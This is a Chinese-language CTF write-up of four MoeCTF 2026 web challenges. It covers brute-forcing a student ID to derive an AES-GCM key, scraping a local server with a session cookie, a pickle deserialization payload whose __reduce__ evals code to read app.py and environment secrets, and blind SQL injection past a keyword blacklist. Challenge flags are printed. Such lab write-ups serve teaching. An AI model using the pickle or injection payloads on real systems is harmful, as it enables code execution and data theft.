难度有点上来了😥

查分系统_revenge

题目信息:老师听说上次发布的系统可以查到所有人的分数,于是老师让沙包AI完善了一下这个系统,这样肯定大家只能凭学号查到自己的成绩了吧(学号为8位数字)

这题是上次查分系统的强化版,上次是可以直接进行search找到flag,这次题目把所有的数据都进行了加密。
alt text 那就先读一下代码然后分析怎么来解密吧。

1
2
3
4
5
6
7
<div class="card">
<h1>数学分析期末成绩查询</h1>
<input id="input_sid" class="form-input" placeholder="请输入 8 位学号" maxlength="8">
<button id="btn_search" onclick="searchScore()">查询成绩</button>
<div id="error_tip"></div>
<div id="result_box"></div>
</div>

调用函数searchScore(),点击按钮时执行查询操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
async function searchScore() {
const sidDom = document.getElementById("input_sid");
const btnDom = document.getElementById("btn_search");
const sid = sidDom.value.trim(); //这个应该是获取输入学号

if (!/^\d{8}$/.test(sid)) { //判断输入是否为8位数字
showErr("请输入 8 位数字学号!");
return;
}

btnDom.disabled = true;
try {
for (const record of encryptedStudentData) { //遍历每一条数据
try { //输入正确时的学号
const student = await tryDecrypt(record, sid);
showResult(student);
return;
} catch (e) {}
}
showErr("学号错误");
} finally {
btnDom.disabled = false;
}
}

这里可以看出是拿输入进去的学号来尝试解密每一个数据,若可以正确解密(解密出来的学号和输入的学号相同)就直接输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
async function makeKey(password) {  //生成密钥,password是输入的学号
const raw = new TextEncoder().encode(password); //将输入的学号转换为字节数组
const hash = await crypto.subtle.digest("SHA-256", raw); //哈希加密
return crypto.subtle.importKey("raw", hash, { name: "AES-GCM" }, false, ["decrypt"]);
}

async function tryDecrypt(record, sid) { //尝试解密,sid是输入的学号,record是加密数据
const key = await makeKey(sid);
const iv = b64ToBytes(commonIv);
const data = b64ToBytes(record["数据"]);
const plain = await crypto.subtle.decrypt({ name: "AES-GCM", iv }, key, data);
const student = JSON.parse(new TextDecoder().decode(plain));
if (String(student["学号"]) !== sid) throw new Error("mismatch");
return student;
}

使用的是AES-GCM对称加密,源代码是给出了const commonIv = "bW9lY3RmMjAyNml2";这个明显也是base64编码,转化过来是moectf2026iv但是我们这里直接缺少一个秘钥key而这道题目中的key又需要通过输入的学号来得到。明显这题要解出来的话就是要把key给试出来。
这里使用py脚本对其进行学号爆破,我想法是先找出了看起来像是藏有flag的学生加密信息,这样用py脚本来爆破能快很多并且直接就能得到flag。
alt text
对于第234行其学生信息最长,最有可能是放flag的地方,先重点对其爆破。
那么问题就集中在python中如何进行SHA-256,以及如何使用AES-GCM。
随后写出解题的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Cipher import AES
import hashlib
import base64

text = base64.b64decode(
"EU6+AKa9FPBW9+CNtCZv/WKaUeXZ81UOcyMal2aaBu5Bk2oVlcl9cKB4x1gwk3HaaTgnY9WRsoy+wK0jF9A85pKeOg8BL4kHK9xjMSj2oyzyQRQ0pWqr2Mchmh1CX1NAsQVunHm17AGNEl7dGClUOpWPQ5qUU3d+F2gm85wlsHuhBLJ2VfuN4pU1LnmcjhXFmDFGmqpIpjEFD1mKqzHKxoPBp23Cfz8pAUkt/dwcPIKOgQgyLyGzWh3y3thhN2xMLhb0n4+20qRDl3y/LM5/MjNjJcQ1DAXc6ZyFqdRQzHxP+5JC+dqrjD2mCpx7Xdi+trHfgx5hVXObwvsgJtkCuoMlR08fc9sivX9+cC5BoXuDKI+9u83RlHjI23hUgpBmURFbN2GXu9aw9L0gT/stvkUHMdfqWCIyqr/VdKd8fedHQZzpQJazF8QJggkERUYvBl+Dbi5j8LBekblwBpkSjTJybM/DrbCUYmnlSO2X+P+VF7wEG/E+KqZw/xKpl8Mb3kkhJF9MHkFe+65gBXmqFwxZfBKJ3yT80uVxGq4dSnErK1fvdHtkpW1NSBXGGD/Qo79/qD7Zj/PPzYVOkKdo4Yw/mT4RVD99kqtguL+9TniYOWgPQkIqLEhhd/H0QgdU6Kanp1JeuqO7EHfk8XRz4HL1Jlx2E8zyEr0J2IiViNUeSf/BTliehGpuiYeAcA=="
)

iv = b"moectf2026iv"

for i in range(10000000, 100000000):

print(i)
sid = str(i).encode()
key = hashlib.sha256(sid).digest() #把学号sid通过SHA-256哈希,生成一个32字节的密钥。
cipher = AES.new(key, AES.MODE_GCM, nonce=iv)

#校验是否解密成功
try:
plaintext = cipher.decrypt_and_verify(text[:-16], text[-16:]) #这里是因为AES-GCM加密后会得到两个部分:真正的密文text和16字节的认证标签tag
except ValueError:
continue

print("sid =", sid.decode())
print(plaintext.decode())
break

python实现加密解密

alt text moectf{y0u_c@n_reAd_th3_htmI_Annmnd_Buwuuurp_1IllIIlIIl11llII}

我爱发明

打开后是一个倒计时让我们快速填入的信息的页面。

alt text alt text

前面两题都比较简单,应该是引导如何使用。

alt text

重点在于第三个问题。它时间给的特别短,时间一到就提示 本轮验收尚未开始或已经结束,请回到第三关。

首先是需要 收集所有盖章通过的机械组验收片段,观察了一下档案库内是 6 的倍数的物品都是具有验收片段的,并且每次结束后再开启片段还是不一样的。

alt text alt text alt text

这题思路很清晰,就是让我们写 py 脚本并且查找每一组 6 的倍数的 invent,找出所有的验收片段,再把这些片段用英文竖线 | 连接,提交该连接串的 SHA256 结果,格式为 64 位十六进制。

首先使用 burpsuite 来查看请求格式。

alt text

每次点开都带有一个新的 cookie,并且这个 cookie 就代表着一局游戏的进行。

我其实是想着使用程序自动获取 cookie 的,但是我这里发现如果我用 requests 访问页面的时候不会带上 cookie,直接 403 拒绝访问。

alt text

不过时间看起来还是比较充足的,尝试一下直接手动获取 cookie 填入应该来得及。

alt text

Python爬取网页数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
import hashlib
import re


def solve_challenge():
print("Cookie:")
my_cookie = input().strip()

base_url = "http://127.0.0.1:31557/invent/{}"
fragments = []

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Cookie": my_cookie
}

print("\n开始提取片段...")

for i in range(6, 289, 6):
url = base_url.format(i)
try:
response = requests.get(url, headers=headers, timeout=5)

if response.status_code == 200:
match = re.search(r'验收片段[\s\S]*?[::][\s\S]*?([A-Z0-9]{8})', response.text)
if match:
code = match.group(1)
fragments.append(code)
print(f"{i}: {code}")
else:
print(f"{i}: 未找到符合格式的片段")
else:
print(f"{i}: 状态码 {response.status_code}")

except Exception as e:
print(f"{i}: {e}")

final_string = "|".join(fragments)
sha256_hash = hashlib.sha256(final_string.encode('utf-8')).hexdigest()
print(f"最终 SHA256: {sha256_hash}")


if __name__ == "__main__":
solve_challenge()

alt text alt text

moectf{Comput3rs_@r3_m@gn!fic3nt_+00l}

日志系统

alt text

这是一道上传文件导入恶意脚本的问题,题目可以通过导入 .pkl 格式的文件来导入日志。

那么首先先查找 pkl 的相关资料。

pickle反序列化 Python Pickle 模块

了解到了一些基本知识:

pickle.dumps() 把对象变成二进制数据 pickle.loads() 把二进制数据变回对象,并且在读取时会执行其中的代码 eval 可以把字符串当成字符来执行(可以避免跨平台报错)

先使用查找到的代码模板进行尝试:

1
2
3
4
5
6
7
8
9
10
11
12
import pickle

# 创建一个 Python 对象
data = {
'name': 'Alice',
'age': 25,
'hobbies': ['reading', 'traveling']
}

# 将对象序列化并保存到文件
with open('data.pkl', 'wb') as file:
pickle.dump(data, file)

alt text

发现是可以进行读取的操作,pickle 文件可以正常运行。

__reduce__ 需要返回元组,会在反序列化的时候自动执行,尝试使用这个函数来攻击。

尝试利用 os 来读取环境变量:

1
2
3
4
5
6
7
8
9
10
import pickle

class Exploit(object):
def __reduce__(self):
b = "str(__import__('os').environ.items())"
return (eval, (b,))

payload = pickle.dumps(Exploit())
with open('env.pkl', 'wb') as f:
f.write(payload)

alt text

似乎并没有什么用

再看看 app.py 里有什么:

1
2
3
4
5
6
7
8
9
10
import pickle

class Exploit(object):
def __reduce__(self):
b = "open('app.py', 'r').read()"
return (eval, (b,))

payload = pickle.dumps(Exploit())
with open('env.pkl', 'wb') as f:
f.write(payload)

alt text

也是显示不全,干脆直接尝试读 FLAG 算了:

1
2
3
4
5
6
7
8
9
10
import pickle

class Exploit:
def __reduce__(self):
b = "__import__('os').environ.get('FLAG')"
return (eval, (b,))

payload = pickle.dumps(Exploit())
with open('solve.pkl', 'wb') as f:
f.write(payload)

alt text

moectf{5d4b9f1e-994e-3039-a0cc-cb4da00ad27f}

江洋大盗

又是一道典型的 SQL 注入的问题,这道升级版的题目有以下的命令无法使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
BLACKLIST = [
"union",
"sleep",
"benchmark",
"get_lock",
"release_lock",
"extractvalue",
"updatexml",
"load_file",
"outfile",
"dumpfile",
" into ",
"insert",
"update",
"delete",
"drop",
"alter",
"create",
"replace",
"truncate",
"handler",
"procedure",
"--",
"/*",
"*/",
"#",
";",
]

不过 AND 是没有禁用的,感觉可以试试布尔盲注。

alt text alt text

发现是可行的,并且在错误时也会提示。说明可以使用 sqlmap 进行尝试。

  • dbs alt text
  • tables alt text
  • dump alt text

moectf{C0ngr@+u1@7|0ns_8u+_+h3re_wou1d_not_6e_any_pas7_3x@m_pap3r_in_f4ct}